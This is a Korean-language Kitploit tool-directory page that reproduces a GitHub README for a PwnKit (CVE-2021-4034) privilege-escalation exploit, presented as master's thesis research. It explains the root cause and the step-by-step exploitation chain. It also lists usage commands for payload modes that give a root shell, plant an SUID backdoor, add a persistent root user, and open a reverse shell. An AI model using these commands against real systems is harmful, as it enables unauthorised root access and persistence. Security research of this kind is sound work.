Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-4034 — CVE-2021-4034(PwnKit)에 대한 고급 Linux 권한 상승 연구. 7가지 다형성 페이로드 모드(Interactive Shell, Backdoor, User Creation, Reverse Shell 등)를 갖춘 최적화된 익스플로잇을 특징으로 합니다. 메모리 손상 로직, 환경 변수 조작, 안티포렌식 기술에 중점을 둔 포트폴리오 작품. | Kitploit
도구/GitHubGitHub/devianntsec/cve-2021-4034
Privilege EscalationMemory ForensicsVulnerability AnalysisExploitationPost-ExploitationPenetration TestingLearning & EducationRed TeamingPayload DevelopmentBinary Exploitation
GitHubdevianntsec/cve-2021-4034

CVE-2021-4034

114개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-4034(PwnKit)에 대한 고급 Linux 권한 상승 연구. 7가지 다형성 페이로드 모드(Interactive Shell, Backdoor, User Creation, Reverse Shell 등)를 갖춘 최적화된 익스플로잇을 특징으로 합니다. 메모리 손상 로직, 환경 변수 조작, 안티포렌식 기술에 중점을 둔 포트폴리오 작품.

저장소 보기

CVE-2021-4034 — PwnKit 로컬 권한 상승 · 석사 논문 연구

Platform Language License: MIT Research CVSS

polkit의 pkexec 유틸리티에서 발생하는 메모리 손상 취약점
로컬 권한 상승 → 경계를 벗어난 쓰기(out-of-bounds write)를 통한 root 획득
영향: polkit 0.105-31 및 이전 버전 · 패치: polkit 0.105-33 (2022년 1월)


CVE-2021-4034 - PwnKit를 통해 획득한 인터랙티브 root 셸

설명

이 저장소는 PwnKit으로 널리 알려진 polkit의 pkexec 유틸리티에서 발생한 높은 심각도(CVSS 7.8)의 로컬 권한 상승 취약점인 CVE-2021-4034에 대한 석사 논문 연구를 포함합니다.

이 취약점은 pkexec의 인자 처리 로직에서 발생하는 **경계를 벗어난 쓰기(out-of-bounds write)**에서 비롯됩니다. pkexec가 비어 있거나 조작된 argv로 실행되면 argv 배열의 경계를 넘어 envp 배열까지 읽고 쓰게 되어, 권한이 없는 로컬 사용자가 악의적인 환경 변수를 주입할 수 있습니다. 이후 이 환경 변수는 공유 라이브러리로 로드되어 root 권한으로 임의 코드가 실행됩니다.

나의 기여

측면설명
멀티 페이로드 익스플로잇shell, id, backdoor, reverse shell 등 6가지 페이로드 모드를 지원하는 Python 래퍼
자동 환경 설정GCONV_PATH 자동 구성 및 gconv-modules 자동 설정

저장소 구조

root@kitploit:~
CVE-2021-4034/
├── README.md                        # This file
├── LICENSE                          # MIT License
│
├── exploit/
│   └── pwnkit.py                    # Advanced exploit with multiple payloads
│
└── docs/
    ├── screenshots/                 # Exploitation demonstrations
    │   ├── 01-pwnkit-shell.png
    │   ├── 02-pwnkit-id.png
    │   ├── 03-pwnkit-whoami.png
    │   ├── 04-pwnkit-backdoor.png
    │   ├── 05-pwnkit-add-user.png
    │   ├── 06-pwnkit-reverse.png
    │   └── 07-pwnkit-custom.png
    │
    └── analysis/
        ├── 01-root-cause.md         # Vulnerability root cause analysis
        ├── 02-exploitation-chain.md # Exploitation chain breakdown
        └── 03-timeline.md           # CVE timeline

빠른 시작

사전 요구 사항

  • 취약한 polkit이 설치된 Linux 시스템 (pkexec --version이 0.105 이하를 표시)
  • GCC 컴파일러 (apt install gcc)
  • Python 3.6 이상
  • 일반 사용자 계정 (root 불필요)
  • 테스트를 위한 격리된 VM 권장

사용법

root@kitploit:~
# Interactive root shell (default)
python3 exploit/pwnkit.py -p shell

# Verify execution context
python3 exploit/pwnkit.py -p whoami

# Execute custom command as root
python3 exploit/pwnkit.py -p custom -c "id"

# Create SUID backdoor at /tmp/.sh
python3 exploit/pwnkit.py -p backdoor_suid

# Add persistent root user
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword

# Reverse shell
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444

페이로드 참조


기술 개요

취약점 근본 원인

pkexec는 실행할 프로그램을 찾기 위해 자신의 argv를 처리합니다. argc == 0(빈 인자 벡터)으로 호출되면 argv에 대한 경계 검사가 조용히 실패합니다. 이후 발생하는 경계를 벗어난 읽기는 envp[0]을 argv[1]로 취급하고, envp로 다시 쓰는 경계를 벗어난 쓰기를 통해 공격자는 환경 변수를 조작된 경로로 교체할 수 있습니다. pkexec가 이후 g_printerr()을 호출하면 공격자가 제어하는 환경에서 GCONV_PATH를 로드하여, 공격자가 제공한 공유 라이브러리를 root 권한으로 로드하게 됩니다.

root@kitploit:~
argc == 0  →  argv[1] reads envp[0]
             argv[1] = "GCONV_PATH=."  (writes back into envp)
             pkexec loads ./pwnkit.so  (attacker-controlled shared library)
             gconv_init() executes as root

익스플로잇 체인

root@kitploit:~
1. Craft argv = { NULL }  →  argc = 0, triggers OOB access
2. Set envp[0] = "pwnkit.so:."
3. Set envp[1] = "PATH=GCONV_PATH=."
4. pkexec OOB-writes "pwnkit.so:." into envp[0] as if it were argv[1]
5. pkexec resolves GCONV_PATH=. and loads gconv-modules
6. gconv-modules maps "PWNKIT" charset to pwnkit.so
7. pwnkit.so:gconv_init() called with root privileges
8. Payload executes (shell / backdoor / reverse shell / etc.)

주요 기술 세부 사항


데모

인터랙티브 root 셸

인터랙티브 셸

ID 확인

ID 페이로드

Whoami 확인

Whoami 페이로드

SUID 백도어

백도어 페이로드

root 사용자 추가

root 사용자 추가

리버스 셸

리버스 셸

사용자 정의 명령

사용자 정의 페이로드


실증 테스트

모든 테스트는 네트워크에 노출되지 않은 격리된 VirtualBox VM(Ubuntu 20.04 LTS, 취약한 polkit 0.105-26)에서 수행되었습니다.


기술 문서

문서설명
근본 원인 분석pkexec 인자 처리에서의 경계를 벗어난 쓰기
익스플로잇 체인GCONV_PATH 주입의 단계별 분석

학술적 배경

이 연구는 여러 환경에서 N-Day 취약점을 분석하는 사이버보안 석사 논문(UCAM — Campus Internacional de Ciberseguridad)의 일부입니다.

이 CVE는 논문에서 Linux 로컬 권한 상승 벡터를 대표하며 다음을 입증합니다:

  • SUID 바이너리의 메모리 안전성 취약점
  • 환경 변수 조작을 통한 경계를 벗어난 쓰기 익스플로잇
  • glibc의 iconv 인프라를 통한 공유 라이브러리 주입
  • 멀티 페이로드 사후 침투 프레임워크 설계

키워드: LPE · Polkit · pkexec · SUID · GCONV_PATH · CVE-2021-4034 · PwnKit


저자

Annais Molina (devianntsec) — 사이버보안 석사 과정

GitHub LinkedIn Email


감사의 글

  • Qualys Research Team — 최초 발견 및 책임 있는 공개
  • arthepsy — 초기 개념 증명(PoC) 참고 자료
  • berdav — 공개 PoC 참조 구현

라이선스

MIT 라이선스 — LICENSE 참조


법적 고지

이 저장소는 학술 석사 논문의 일부로 교육 및 보안 연구 목적으로만 제공됩니다. 모든 테스트는 네트워크에 노출되지 않은 격리된 가상 머신에서 수행되었습니다. 소유한 시스템 또는 명시적인 서면 승인을 받은 시스템에서만 사용하십시오. 승인되지 않은 시스템에 대한 무단 사용은 불법이며 형사 처벌을 받을 수 있습니다.

© 2026 Annais Molina · 사이버보안 석사 논문
UCAM Universidad Católica San Antonio de Murcia · Campus Internacional de Ciberseguridad
도구 다운로드
사후 침투 모듈SUID 백도어, root 사용자 생성, 사용자 정의 명령 실행
학술 문서화근본 원인 분석, 익스플로잇 체인, 취약점 타임라인
페이로드설명출력
shellroot 권한으로 인터랙티브 /bin/sh 실행인터랙티브 셸
idid 및 whoami 출력을 /tmp/pwnkit_id.txt에 기록파일
whoamiUID/eUID 확인 결과를 /tmp/pwnkit_root_test에 기록파일
backdoor_suid/tmp/.sh에 SUID root bash 복사본 생성영구 백도어
add_root_user사용자 정의 사용자를 /etc/passwd에 추가영구 접근
reverse_shellPython을 통해 공격자에게 역접속원격 셸
customroot 권한으로 임의 명령 실행표준 출력 / 파일
구성 요소값비고
취약 바이너리/usr/bin/pkexecSUID root
트리거 조건argc == 0빈 argv
쓰기 프리미티브envp로의 OOB 쓰기argv[argc-1] 경유
로드 메커니즘GCONV_PATH + gconv-modules표준 glibc iconv
실행 컨텍스트공유 라이브러리의 gconv_init()EUID 0으로 실행
영향 버전polkit ≤ 0.105-31모든 주요 Linux 배포판
페이로드결과비고
shell✅ root 셸 획득즉시 인터랙티브 접근
id✅ uid=0(root) 확인/tmp/pwnkit_id.txt에 출력
whoami✅ root 확인UID/eUID = 0
backdoor_suid✅ /tmp/.sh에 SUID 비트 설정익스플로잇 이후에도 지속
add_root_user✅ 사용자 정의 사용자 생성재부팅 후에도 유지
reverse_shell✅ 연결 수립Python 리버스 셸 작동
custom✅ 임의 명령 실행전체 root 컨텍스트
CVE 타임라인
발견, 공개, 패치 연대기